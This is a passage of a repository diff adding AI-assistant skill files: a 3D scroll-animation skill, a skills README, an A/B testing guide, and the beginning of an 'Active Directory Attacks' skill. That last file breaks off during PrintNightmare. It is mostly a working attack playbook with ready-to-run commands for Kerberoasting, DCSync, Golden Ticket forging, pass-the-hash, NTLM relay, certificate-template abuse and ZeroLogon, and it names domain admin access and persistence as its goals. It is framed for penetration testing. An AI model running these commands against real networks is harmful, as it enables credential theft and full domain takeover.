+  return <Html center>{progress.toFixed(0)}%</Html>;
+}
+
+export default function Scene() {
+  return (
+    <Canvas>
+      <Suspense fallback={<Loader />}>
+        <Model />
+      </Suspense>
+    </Canvas>
+  );
+}
+```
+```
+
+### Scroll-Driven 3D
+
+3D that responds to scroll
+
+**When to use**: When integrating 3D with scroll
+
+```python
+## Scroll-Driven 3D
+
+### R3F + Scroll Controls
+```jsx
+import { ScrollControls, useScroll } from '@react-three/drei';
+import { useFrame } from '@react-three/fiber';
+
+function RotatingModel() {
+  const scroll = useScroll();
+  const ref = useRef();
+
+  useFrame(() => {
+    // Rotate based on scroll position
+    ref.current.rotation.y = scroll.offset * Math.PI * 2;
+  });
+
+  return <mesh ref={ref}>...</mesh>;
+}
+
+export default function Scene() {
+  return (
+    <Canvas>
+      <ScrollControls pages={3}>
+        <RotatingModel />
+      </ScrollControls>
+    </Canvas>
+  );
+}
+```
+
+### GSAP + Three.js
+```javascript
+import gsap from 'gsap';
+import ScrollTrigger from 'gsap/ScrollTrigger';
+
+gsap.to(camera.position, {
+  scrollTrigger: {
+    trigger: '.section',
+    scrub: true,
+  },
+  z: 5,
+  y: 2,
+});
+```
+
+### Common Scroll Effects
+- Camera movement through scene
+- Model rotation on scroll
+- Reveal/hide elements
+- Color/material changes
+- Exploded view animations
+```
+
+## Anti-Patterns
+
+### ❌ 3D For 3D's Sake
+
+**Why bad**: Slows down the site.
+Confuses users.
+Battery drain on mobile.
+Doesn't help conversion.
+
+**Instead**: 3D should serve a purpose.
+Product visualization = good.
+Random floating shapes = probably not.
+Ask: would an image work?
+
+### ❌ Desktop-Only 3D
+
+**Why bad**: Most traffic is mobile.
+Kills battery.
+Crashes on low-end devices.
+Frustrated users.
+
+**Instead**: Test on real mobile devices.
+Reduce quality on mobile.
+Provide static fallback.
+Consider disabling 3D on low-end.
+
+### ❌ No Loading State
+
+**Why bad**: Users think it's broken.
+High bounce rate.
+3D takes time to load.
+Bad first impression.
+
+**Instead**: Loading progress indicator.
+Skeleton/placeholder.
+Load 3D after page is interactive.
+Optimize model size.
+
+## Related Skills
+
+Works well with: `scroll-experience`, `interactive-portfolio`, `frontend`, `landing-page-design`

skills/README.md

@@ -1,89 +1,201 @@
-# Antigravity Skills
+# Skills Directory
 
-通过模块化的 **Skills** 定义，赋予 Agent 在特定领域的专业能力（如全栈开发、复杂逻辑规划、多媒体处理等），让 Agent 能够像人类专家一样系统性地解决复杂问题。
+**Welcome to the skills folder!** This is where all 179+ specialized AI skills live.
 
-## 📂 目录结构
+## 🤔 What Are Skills?
+
+Skills are specialized instruction sets that teach AI assistants how to handle specific tasks. Think of them as expert knowledge modules that your AI can load on-demand.
+
+**Simple analogy:** Just like you might consult different experts (a designer, a security expert, a marketer), skills let your AI become an expert in different areas when you need them.
+
+---
+
+## 📂 Folder Structure
+
+Each skill lives in its own folder with this structure:
 
 ```
-.
-├── .agent/
-│   └── skills/             # Antigravity Skills 技能库
-│       ├── skill-name/   # 独立技能目录
-│       │   ├── SKILL.md    # 技能核心定义与Prompt（必须）
-│       │   ├── scripts/    # 技能依赖的脚本（可选）
-│       │   ├── examples/   # 技能使用示例（可选）
-│       │   └── resources/  # 技能依赖的模板与资源（可选）
-├── skill-guide/            # 用户手册与文档指南
-│   └── Antigravity_Skills_Manual_CN.md  # 中文使用手册
-└── README.md
+skills/
+├── skill-name/              # Individual skill folder
+│   ├── SKILL.md             # Main skill definition (required)
+│   ├── scripts/             # Helper scripts (optional)
+│   ├── examples/            # Usage examples (optional)
+│   └── resources/           # Templates & resources (optional)
 ```
 
-## 📖 快速开始
-1. 将`.agent/`目录复制到你的工作区：
+**Key point:** Only `SKILL.md` is required. Everything else is optional!
+
+---
+
+## How to Use Skills
+
+### Step 1: Make sure skills are installed
+Skills should be in your `.agent/skills/` directory (or `.claude/skills/`, `.gemini/skills/`, etc.)
+
+### Step 2: Invoke a skill in your AI chat
+Use the `@` symbol followed by the skill name:
+
+```
+@brainstorming help me design a todo app
+```
+
+or
+
+```
+@stripe-integration add payment processing to my app
+```
+
+### Step 3: The AI becomes an expert
+The AI loads that skill's knowledge and helps you with specialized expertise!
+
+---
+
+## Skill Categories
+
+### Creative & Design
+Skills for visual design, UI/UX, and artistic creation:
+- `@algorithmic-art` - Create algorithmic art with p5.js
+- `@canvas-design` - Design posters and artwork (PNG/PDF output)
+- `@frontend-design` - Build production-grade frontend interfaces
+- `@ui-ux-pro-max` - Professional UI/UX design with color, fonts, layouts
+- `@web-artifacts-builder` - Build modern web apps (React, Tailwind, Shadcn/ui)
+- `@theme-factory` - Generate themes for documents and presentations
+- `@brand-guidelines` - Apply Anthropic brand design standards
+- `@slack-gif-creator` - Create high-quality GIFs for Slack
+
+### Development & Engineering
+Skills for coding, testing, debugging, and code review:
+- `@test-driven-development` - Write tests before implementation (TDD)
+- `@systematic-debugging` - Debug systematically, not randomly
+- `@webapp-testing` - Test web apps with Playwright
+- `@receiving-code-review` - Handle code review feedback properly
+- `@requesting-code-review` - Request code reviews before merging
+- `@finishing-a-development-branch` - Complete dev branches (merge, PR, cleanup)
+- `@subagent-driven-development` - Coordinate multiple AI agents for parallel tasks
+
+### Documentation & Office
+Skills for working with documents and office files:
+- `@doc-coauthoring` - Collaborate on structured documents
+- `@docx` - Create, edit, and analyze Word documents
+- `@xlsx` - Work with Excel spreadsheets (formulas, charts)
+- `@pptx` - Create and modify PowerPoint presentations
+- `@pdf` - Handle PDFs (extract text, merge, split, fill forms)
+- `@internal-comms` - Draft internal communications (reports, announcements)
+- `@notebooklm` - Query Google NotebookLM notebooks
+
+### Planning & Workflow
+Skills for task planning and workflow optimization:
+- `@brainstorming` - Brainstorm and design before coding
+- `@writing-plans` - Write detailed implementation plans
+- `@planning-with-files` - File-based planning system (Manus-style)
+- `@executing-plans` - Execute plans with checkpoints and reviews
+- `@using-git-worktrees` - Create isolated Git worktrees for parallel work
+- `@verification-before-completion` - Verify work before claiming completion
+- `@using-superpowers` - Discover and use advanced skills
+
+### System Extension
+Skills for extending AI capabilities:
+- `@mcp-builder` - Build MCP (Model Context Protocol) servers
+- `@skill-creator` - Create new skills or update existing ones
+- `@writing-skills` - Tools for writing and validating skill files
+- `@dispatching-parallel-agents` - Distribute tasks to multiple agents
+
+---
+
+## Finding Skills
+
+### Method 1: Browse this folder
 ```bash
-cp -r .agent/ /path/to/your/workspace/
+ls skills/
 ```
-2. **调用 Skill**: 在对话框输入 `@[skill-name]` 或 `/skill-name`来进行调用，例如：
-```text
-/canvas-design 帮我设计一张关于“Deep Learning”的博客封面，风格要素雅、科技感，尺寸 16:9
+
+### Method 2: Search by keyword
+```bash
+ls skills/ | grep "keyword"
 ```
-3. **查看手册**: 详细的使用案例和参数说明请查阅 [skill-guide/Antigravity_Skills_Manual_CN.md](skill-guide/Antigravity_Skills_Manual_CN.md)。
-4. **环境依赖**: 部分 Skill (如 PDF, XLSX) 依赖 Python 环境，请确保 `.venv` 处于激活状态或系统已安装相应库。
 
+### Method 3: Check the main README
+See the [main README](../README.md) for the complete list of all 179+ skills organized by category.
 
-## 🚀 已集成的 Skills
+---
 
-### 🎨 创意与设计 (Creative & Design)
-这些技能专注于视觉表现、UI/UX 设计和艺术创作。
-- **`@[algorithmic-art]`**: 使用 p5.js 代码创作算法艺术、生成艺术
-- **`@[canvas-design]`**: 基于设计哲学创建海报、艺术作品（输出 PNG/PDF）
-- **`@[frontend-design]`**: 创建高质量、生产级的各种前端界面和 Web 组件
-- **`@[ui-ux-pro-max]`**: 专业的 UI/UX 设计智能，提供配色、字体、布局等全套设计方案
-- **`@[web-artifacts-builder]`**: 构建复杂、现代化的 Web 应用（基于 React, Tailwind, Shadcn/ui）
-- **`@[theme-factory]`**: 为文档、幻灯片、HTML 等生成配套的主题风格
-- **`@[brand-guidelines]`**: 应用 Anthropic 官方品牌设计规范（颜色、排版等）
-- **`@[slack-gif-creator]`**: 制作专用于 Slack 的高质量 GIF 动图
+## 💡 Popular Skills to Try
 
-### 🛠️ 开发与工程 (Development & Engineering)
-这些技能涵盖了编码、测试、调试和代码审查的全生命周期。
-- **`@[test-driven-development]`**: 测试驱动开发（TDD），在编写实现代码前先编写测试
-- **`@[systematic-debugging]`**: 系统化调试，用于解决 Bug、测试失败或异常行为
-- **`@[webapp-testing]`**: 使用 Playwright 对本地 Web 应用进行交互测试和验证
-- **`@[receiving-code-review]`**: 处理代码审查反馈，进行技术验证而非盲目修改
-- **`@[requesting-code-review]`**: 主动发起代码审查，在合并或完成任务前验证代码质量
-- **`@[finishing-a-development-branch]`**: 引导开发分支的收尾工作（合并、PR、清理等）
-- **`@[subagent-driven-development]`**: 协调多个子 Agent 并行执行独立的开发任务
+**For beginners:**
+- `@brainstorming` - Design before coding
+- `@systematic-debugging` - Fix bugs methodically
+- `@git-pushing` - Commit with good messages
 
-### 📄 文档与办公 (Documentation & Office)
-这些技能用于处理各种格式的专业文档和办公需求。
-- **`@[doc-coauthoring]`**: 引导用户进行结构化文档（提案、技术规范等）的协作编写
-- **`@[docx]`**: 创建、编辑和分析 Word 文档
-- **`@[xlsx]`**: 创建、编辑和分析 Excel 电子表格（支持公式、图表）
-- **`@[pptx]`**: 创建和修改 PowerPoint 演示文稿
-- **`@[pdf]`**: 处理 PDF 文档，包括提取文本、表格，合并/拆分及填写表单
-- **`@[internal-comms]`**: 起草各类企业内部沟通文档（周报、通告、FAQ 等）
-- **`@[notebooklm]`**: 查询 Google NotebookLM 笔记本，提供基于文档的确切答案
+**For developers:**
+- `@test-driven-development` - Write tests first
+- `@react-best-practices` - Modern React patterns
+- `@senior-fullstack` - Full-stack development
 
-### 📅 计划与流程 (Planning & Workflow)
-这些技能帮助优化工作流、任务规划和执行效率。
-- **`@[brainstorming]`**: 在开始任何工作前进行头脑风暴，明确需求和设计
-- **`@[writing-plans]`**: 为复杂的多步骤任务编写详细的执行计划（Spec）
-- **`@[planning-with-files]`**: 适用于复杂任务的文件式规划系统（Manus-style）
-- **`@[executing-plans]`**: 执行已有的实施计划，包含检查点和审查机制
-- **`@[using-git-worktrees]`**: 创建隔离的 Git 工作树，用于并行开发或任务切换
-- **`@[verification-before-completion]`**: 在声明任务完成前运行验证命令，确保证据确凿
-- **`@[using-superpowers]`**: 引导用户发现和使用这些高级技能
+**For security:**
+- `@ethical-hacking-methodology` - Security basics
+- `@burp-suite-testing` - Web app security testing
 
-### 🧩 系统扩展 (System Extension)
-这些技能允许我扩展自身的能力边界。
-- **`@[mcp-builder]`**: 构建 MCP (Model Context Protocol) 服务器，连接外部工具和数据
-- **`@[skill-creator]`**: 创建新技能或更新现有技能，扩展我的知识库和工作流
-- **`@[writing-skills]`**: 辅助编写、编辑和验证技能文件的工具集
-- **`@[dispatching-parallel-agents]`**: 分发并行任务给多个 Agent 处理
+---
 
-## 📚 参考文档
-- [Anthropic Skills](https://github.com/anthropic/skills)
-- [UI/UX Pro Max Skills](https://github.com/nextlevelbuilder/ui-ux-pro-max-skill)
-- [Superpowers](https://github.com/obra/superpowers)
-- [Planning with Files](https://github.com/OthmanAdi/planning-with-files)
-- [NotebookLM](https://github.com/PleasePrompto/notebooklm-skill)
+## Creating Your Own Skill
+
+Want to create a new skill? Check out:
+1. [CONTRIBUTING.md](../CONTRIBUTING.md) - How to contribute
+2. [docs/SKILL_ANATOMY.md](../docs/SKILL_ANATOMY.md) - Skill structure guide
+3. `@skill-creator` - Use this skill to create new skills!
+
+**Basic structure:**
+```markdown
+---
+name: my-skill-name
+description: "What this skill does"
+---
+
+# Skill Title
+
+## Overview
+[What this skill does]
+
+## When to Use
+- Use when [scenario]
+
+## Instructions
+[Step-by-step guide]
+
+## Examples
+[Code examples]
+```
+
+---
+
+## Documentation
+
+- **[Getting Started](../GETTING_STARTED.md)** - Quick start guide
+- **[Examples](../docs/EXAMPLES.md)** - Real-world usage examples
+- **[FAQ](../FAQ.md)** - Common questions
+- **[Visual Guide](../docs/VISUAL_GUIDE.md)** - Diagrams and flowcharts
+
+---
+
+## 🌟 Contributing
+
+Found a skill that needs improvement? Want to add a new skill?
+
+1. Read [CONTRIBUTING.md](../CONTRIBUTING.md)
+2. Study existing skills in this folder
+3. Create your skill following the structure
+4. Submit a Pull Request
+
+---
+
+## References
+
+- [Anthropic Skills](https://github.com/anthropic/skills) - Official Anthropic skills
+- [UI/UX Pro Max Skills](https://github.com/nextlevelbuilder/ui-ux-pro-max-skill) - Design skills
+- [Superpowers](https://github.com/obra/superpowers) - Original superpowers collection
+- [Planning with Files](https://github.com/OthmanAdi/planning-with-files) - Planning patterns
+- [NotebookLM](https://github.com/PleasePrompto/notebooklm-skill) - NotebookLM integration
+
+---
+
+**Need help?** Check the [FAQ](../FAQ.md) or open an issue on GitHub!

skills/ab-test-setup/SKILL.md

@@ -0,0 +1,508 @@
+---
+name: ab-test-setup
+description: When the user wants to plan, design, or implement an A/B test or experiment. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," or "hypothesis." For tracking implementation, see analytics-tracking.
+---
+
+# A/B Test Setup
+
+You are an expert in experimentation and A/B testing. Your goal is to help design tests that produce statistically valid, actionable results.
+
+## Initial Assessment
+
+Before designing a test, understand:
+
+1. **Test Context**
+   - What are you trying to improve?
+   - What change are you considering?
+   - What made you want to test this?
+
+2. **Current State**
+   - Baseline conversion rate?
+   - Current traffic volume?
+   - Any historical test data?
+
+3. **Constraints**
+   - Technical implementation complexity?
+   - Timeline requirements?
+   - Tools available?
+
+---
+
+## Core Principles
+
+### 1. Start with a Hypothesis
+- Not just "let's see what happens"
+- Specific prediction of outcome
+- Based on reasoning or data
+
+### 2. Test One Thing
+- Single variable per test
+- Otherwise you don't know what worked
+- Save MVT for later
+
+### 3. Statistical Rigor
+- Pre-determine sample size
+- Don't peek and stop early
+- Commit to the methodology
+
+### 4. Measure What Matters
+- Primary metric tied to business value
+- Secondary metrics for context
+- Guardrail metrics to prevent harm
+
+---
+
+## Hypothesis Framework
+
+### Structure
+
+```
+Because [observation/data],
+we believe [change]
+will cause [expected outcome]
+for [audience].
+We'll know this is true when [metrics].
+```
+
+### Examples
+
+**Weak hypothesis:**
+"Changing the button color might increase clicks."
+
+**Strong hypothesis:**
+"Because users report difficulty finding the CTA (per heatmaps and feedback), we believe making the button larger and using contrasting color will increase CTA clicks by 15%+ for new visitors. We'll measure click-through rate from page view to signup start."
+
+### Good Hypotheses Include
+
+- **Observation**: What prompted this idea
+- **Change**: Specific modification
+- **Effect**: Expected outcome and direction
+- **Audience**: Who this applies to
+- **Metric**: How you'll measure success
+
+---
+
+## Test Types
+
+### A/B Test (Split Test)
+- Two versions: Control (A) vs. Variant (B)
+- Single change between versions
+- Most common, easiest to analyze
+
+### A/B/n Test
+- Multiple variants (A vs. B vs. C...)
+- Requires more traffic
+- Good for testing several options
+
+### Multivariate Test (MVT)
+- Multiple changes in combinations
+- Tests interactions between changes
+- Requires significantly more traffic
+- Complex analysis
+
+### Split URL Test
+- Different URLs for variants
+- Good for major page changes
+- Easier implementation sometimes
+
+---
+
+## Sample Size Calculation
+
+### Inputs Needed
+
+1. **Baseline conversion rate**: Your current rate
+2. **Minimum detectable effect (MDE)**: Smallest change worth detecting
+3. **Statistical significance level**: Usually 95%
+4. **Statistical power**: Usually 80%
+
+### Quick Reference
+
+| Baseline Rate | 10% Lift | 20% Lift | 50% Lift |
+|---------------|----------|----------|----------|
+| 1% | 150k/variant | 39k/variant | 6k/variant |
+| 3% | 47k/variant | 12k/variant | 2k/variant |
+| 5% | 27k/variant | 7k/variant | 1.2k/variant |
+| 10% | 12k/variant | 3k/variant | 550/variant |
+
+### Formula Resources
+- Evan Miller's calculator: https://www.evanmiller.org/ab-testing/sample-size.html
+- Optimizely's calculator: https://www.optimizely.com/sample-size-calculator/
+
+### Test Duration
+
+```
+Duration = Sample size needed per variant × Number of variants
+           ───────────────────────────────────────────────────
+           Daily traffic to test page × Conversion rate
+```
+
+Minimum: 1-2 business cycles (usually 1-2 weeks)
+Maximum: Avoid running too long (novelty effects, external factors)
+
+---
+
+## Metrics Selection
+
+### Primary Metric
+- Single metric that matters most
+- Directly tied to hypothesis
+- What you'll use to call the test
+
+### Secondary Metrics
+- Support primary metric interpretation
+- Explain why/how the change worked
+- Help understand user behavior
+
+### Guardrail Metrics
+- Things that shouldn't get worse
+- Revenue, retention, satisfaction
+- Stop test if significantly negative
+
+### Metric Examples by Test Type
+
+**Homepage CTA test:**
+- Primary: CTA click-through rate
+- Secondary: Time to click, scroll depth
+- Guardrail: Bounce rate, downstream conversion
+
+**Pricing page test:**
+- Primary: Plan selection rate
+- Secondary: Time on page, plan distribution
+- Guardrail: Support tickets, refund rate
+
+**Signup flow test:**
+- Primary: Signup completion rate
+- Secondary: Field-level completion, time to complete
+- Guardrail: User activation rate (post-signup quality)
+
+---
+
+## Designing Variants
+
+### Control (A)
+- Current experience, unchanged
+- Don't modify during test
+
+### Variant (B+)
+
+**Best practices:**
+- Single, meaningful change
+- Bold enough to make a difference
+- True to the hypothesis
+
+**What to vary:**
+
+Headlines/Copy:
+- Message angle
+- Value proposition
+- Specificity level
+- Tone/voice
+
+Visual Design:
+- Layout structure
+- Color and contrast
+- Image selection
+- Visual hierarchy
+
+CTA:
+- Button copy
+- Size/prominence
+- Placement
+- Number of CTAs
+
+Content:
+- Information included
+- Order of information
+- Amount of content
+- Social proof type
+
+### Documenting Variants
+
+```
+Control (A):
+- Screenshot
+- Description of current state
+
+Variant (B):
+- Screenshot or mockup
+- Specific changes made
+- Hypothesis for why this will win
+```
+
+---
+
+## Traffic Allocation
+
+### Standard Split
+- 50/50 for A/B test
+- Equal split for multiple variants
+
+### Conservative Rollout
+- 90/10 or 80/20 initially
+- Limits risk of bad variant
+- Longer to reach significance
+
+### Ramping
+- Start small, increase over time
+- Good for technical risk mitigation
+- Most tools support this
+
+### Considerations
+- Consistency: Users see same variant on return
+- Segment sizes: Ensure segments are large enough
+- Time of day/week: Balanced exposure
+
+---
+
+## Implementation Approaches
+
+### Client-Side Testing
+
+**Tools**: PostHog, Optimizely, VWO, custom
+
+**How it works**:
+- JavaScript modifies page after load
+- Quick to implement
+- Can cause flicker
+
+**Best for**:
+- Marketing pages
+- Copy/visual changes
+- Quick iteration
+
+### Server-Side Testing
+
+**Tools**: PostHog, LaunchDarkly, Split, custom
+
+**How it works**:
+- Variant determined before page renders
+- No flicker
+- Requires development work
+
+**Best for**:
+- Product features
+- Complex changes
+- Performance-sensitive pages
+
+### Feature Flags
+
+- Binary on/off (not true A/B)
+- Good for rollouts
+- Can convert to A/B with percentage split
+
+---
+
+## Running the Test
+
+### Pre-Launch Checklist
+
+- [ ] Hypothesis documented
+- [ ] Primary metric defined
+- [ ] Sample size calculated
+- [ ] Test duration estimated
+- [ ] Variants implemented correctly
+- [ ] Tracking verified
+- [ ] QA completed on all variants
+- [ ] Stakeholders informed
+
+### During the Test
+
+**DO:**
+- Monitor for technical issues
+- Check segment quality
+- Document any external factors
+
+**DON'T:**
+- Peek at results and stop early
+- Make changes to variants
+- Add traffic from new sources
+- End early because you "know" the answer
+
+### Peeking Problem
+
+Looking at results before reaching sample size and stopping when you see significance leads to:
+- False positives
+- Inflated effect sizes
+- Wrong decisions
+
+**Solutions:**
+- Pre-commit to sample size and stick to it
+- Use sequential testing if you must peek
+- Trust the process
+
+---
+
+## Analyzing Results
+
+### Statistical Significance
+
+- 95% confidence = p-value < 0.05
+- Means: <5% chance result is random
+- Not a guarantee—just a threshold
+
+### Practical Significance
+
+Statistical ≠ Practical
+
+- Is the effect size meaningful for business?
+- Is it worth the implementation cost?
+- Is it sustainable over time?
+
+### What to Look At
+
+1. **Did you reach sample size?**
+   - If not, result is preliminary
+
+2. **Is it statistically significant?**
+   - Check confidence intervals
+   - Check p-value
+
+3. **Is the effect size meaningful?**
+   - Compare to your MDE
+   - Project business impact
+
+4. **Are secondary metrics consistent?**
+   - Do they support the primary?
+   - Any unexpected effects?
+
+5. **Any guardrail concerns?**
+   - Did anything get worse?
+   - Long-term risks?
+
+6. **Segment differences?**
+   - Mobile vs. desktop?
+   - New vs. returning?
+   - Traffic source?
+
+### Interpreting Results
+
+| Result | Conclusion |
+|--------|------------|
+| Significant winner | Implement variant |
+| Significant loser | Keep control, learn why |
+| No significant difference | Need more traffic or bolder test |
+| Mixed signals | Dig deeper, maybe segment |
+
+---
+
+## Documenting and Learning
+
+### Test Documentation
+
+```
+Test Name: [Name]
+Test ID: [ID in testing tool]
+Dates: [Start] - [End]
+Owner: [Name]
+
+Hypothesis:
+[Full hypothesis statement]
+
+Variants:
+- Control: [Description + screenshot]
+- Variant: [Description + screenshot]
+
+Results:
+- Sample size: [achieved vs. target]
+- Primary metric: [control] vs. [variant] ([% change], [confidence])
+- Secondary metrics: [summary]
+- Segment insights: [notable differences]
+
+Decision: [Winner/Loser/Inconclusive]
+Action: [What we're doing]
+
+Learnings:
+[What we learned, what to test next]
+```
+
+### Building a Learning Repository
+
+- Central location for all tests
+- Searchable by page, element, outcome
+- Prevents re-running failed tests
+- Builds institutional knowledge
+
+---
+
+## Output Format
+
+### Test Plan Document
+
+```
+# A/B Test: [Name]
+
+## Hypothesis
+[Full hypothesis using framework]
+
+## Test Design
+- Type: A/B / A/B/n / MVT
+- Duration: X weeks
+- Sample size: X per variant
+- Traffic allocation: 50/50
+
+## Variants
+[Control and variant descriptions with visuals]
+
+## Metrics
+- Primary: [metric and definition]
+- Secondary: [list]
+- Guardrails: [list]
+
+## Implementation
+- Method: Client-side / Server-side
+- Tool: [Tool name]
+- Dev requirements: [If any]
+
+## Analysis Plan
+- Success criteria: [What constitutes a win]
+- Segment analysis: [Planned segments]
+```
+
+### Results Summary
+When test is complete
+
+### Recommendations
+Next steps based on results
+
+---
+
+## Common Mistakes
+
+### Test Design
+- Testing too small a change (undetectable)
+- Testing too many things (can't isolate)
+- No clear hypothesis
+- Wrong audience
+
+### Execution
+- Stopping early
+- Changing things mid-test
+- Not checking implementation
+- Uneven traffic allocation
+
+### Analysis
+- Ignoring confidence intervals
+- Cherry-picking segments
+- Over-interpreting inconclusive results
+- Not considering practical significance
+
+---
+
+## Questions to Ask
+
+If you need more context:
+1. What's your current conversion rate?
+2. How much traffic does this page get?
+3. What change are you considering and why?
+4. What's the smallest improvement worth detecting?
+5. What tools do you have for testing?
+6. Have you tested this area before?
+
+---
+
+## Related Skills
+
+- **page-cro**: For generating test ideas based on CRO principles
+- **analytics-tracking**: For setting up test measurement
+- **copywriting**: For creating variant copy

skills/active-directory-attacks/SKILL.md

@@ -0,0 +1,383 @@
+---
+name: Active Directory Attacks
+description: This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Active Directory Attacks
+
+## Purpose
+
+Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
+
+## Inputs/Prerequisites
+
+- Kali Linux or Windows attack platform
+- Domain user credentials (for most attacks)
+- Network access to Domain Controller
+- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
+
+## Outputs/Deliverables
+
+- Domain enumeration data
+- Extracted credentials and hashes
+- Kerberos tickets for impersonation
+- Domain Administrator access
+- Persistent access mechanisms
+
+---
+
+## Essential Tools
+
+| Tool | Purpose |
+|------|---------|
+| BloodHound | AD attack path visualization |
+| Impacket | Python AD attack tools |
+| Mimikatz | Credential extraction |
+| Rubeus | Kerberos attacks |
+| CrackMapExec | Network exploitation |
+| PowerView | AD enumeration |
+| Responder | LLMNR/NBT-NS poisoning |
+
+---
+
+## Core Workflow
+
+### Step 1: Kerberos Clock Sync
+
+Kerberos requires clock synchronization (±5 minutes):
+
+```bash
+# Detect clock skew
+nmap -sT 10.10.10.10 -p445 --script smb2-time
+
+# Fix clock on Linux
+sudo date -s "14 APR 2024 18:25:16"
+
+# Fix clock on Windows
+net time /domain /set
+
+# Fake clock without changing system time
+faketime -f '+8h' <command>
+```
+
+### Step 2: AD Reconnaissance with BloodHound
+
+```bash
+# Start BloodHound
+neo4j console
+bloodhound --no-sandbox
+
+# Collect data with SharpHound
+.\SharpHound.exe -c All
+.\SharpHound.exe -c All --ldapusername user --ldappassword pass
+
+# Python collector (from Linux)
+bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
+```
+
+### Step 3: PowerView Enumeration
+
+```powershell
+# Get domain info
+Get-NetDomain
+Get-DomainSID
+Get-NetDomainController
+
+# Enumerate users
+Get-NetUser
+Get-NetUser -SamAccountName targetuser
+Get-UserProperty -Properties pwdlastset
+
+# Enumerate groups
+Get-NetGroupMember -GroupName "Domain Admins"
+Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
+
+# Find local admin access
+Find-LocalAdminAccess -Verbose
+
+# User hunting
+Invoke-UserHunter
+Invoke-UserHunter -Stealth
+```
+
+---
+
+## Credential Attacks
+
+### Password Spraying
+
+```bash
+# Using kerbrute
+./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
+
+# Using CrackMapExec
+crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
+```
+
+### Kerberoasting
+
+Extract service account TGS tickets and crack offline:
+
+```bash
+# Impacket
+GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
+
+# Rubeus
+.\Rubeus.exe kerberoast /outfile:hashes.txt
+
+# CrackMapExec
+crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
+
+# Crack with hashcat
+hashcat -m 13100 hashes.txt rockyou.txt
+```
+
+### AS-REP Roasting
+
+Target accounts with "Do not require Kerberos preauthentication":
+
+```bash
+# Impacket
+GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
+
+# Rubeus
+.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
+
+# Crack with hashcat
+hashcat -m 18200 hashes.txt rockyou.txt
+```
+
+### DCSync Attack
+
+Extract credentials directly from DC (requires Replicating Directory Changes rights):
+
+```bash
+# Impacket
+secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
+
+# Mimikatz
+lsadump::dcsync /domain:domain.local /user:krbtgt
+lsadump::dcsync /domain:domain.local /user:Administrator
+```
+
+---
+
+## Kerberos Ticket Attacks
+
+### Pass-the-Ticket (Golden Ticket)
+
+Forge TGT with krbtgt hash for any user:
+
+```powershell
+# Get krbtgt hash via DCSync first
+# Mimikatz - Create Golden Ticket
+kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
+
+# Impacket
+ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
+export KRB5CCNAME=Administrator.ccache
+psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
+```
+
+### Silver Ticket
+
+Forge TGS for specific service:
+
+```powershell
+# Mimikatz
+kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
+```
+
+### Pass-the-Hash
+
+```bash
+# Impacket
+psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+
+# CrackMapExec
+crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
+crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
+```
+
+### OverPass-the-Hash
+
+Convert NTLM hash to Kerberos ticket:
+
+```bash
+# Impacket
+getTGT.py domain.local/user -hashes :NTHASH
+export KRB5CCNAME=user.ccache
+
+# Rubeus
+.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
+```
+
+---
+
+## NTLM Relay Attacks
+
+### Responder + ntlmrelayx
+
+```bash
+# Start Responder (disable SMB/HTTP for relay)
+responder -I eth0 -wrf
+
+# Start relay
+ntlmrelayx.py -tf targets.txt -smb2support
+
+# LDAP relay for delegation attack
+ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
+```
+
+### SMB Signing Check
+
+```bash
+crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
+```
+
+---
+
+## Certificate Services Attacks (AD CS)
+
+### ESC1 - Misconfigured Templates
+
+```bash
+# Find vulnerable templates
+certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
+
+# Exploit ESC1
+certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
+
+# Authenticate with certificate
+certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
+```
+
+### ESC8 - Web Enrollment Relay
+
+```bash
+ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+```
+
+---
+
+## Critical CVEs
+
+### ZeroLogon (CVE-2020-1472)
+
+```bash
+# Check vulnerability
+crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
+
+# Exploit
+python3 cve-2020-1472-exploit.py DC01 10.10.10.10
+
+# Extract hashes
+secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
+
+# Restore password (important!)
+python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
+```
+
+### PrintNightmare (CVE-2021-1675)
+
+```bash
+# Check for vulnerability
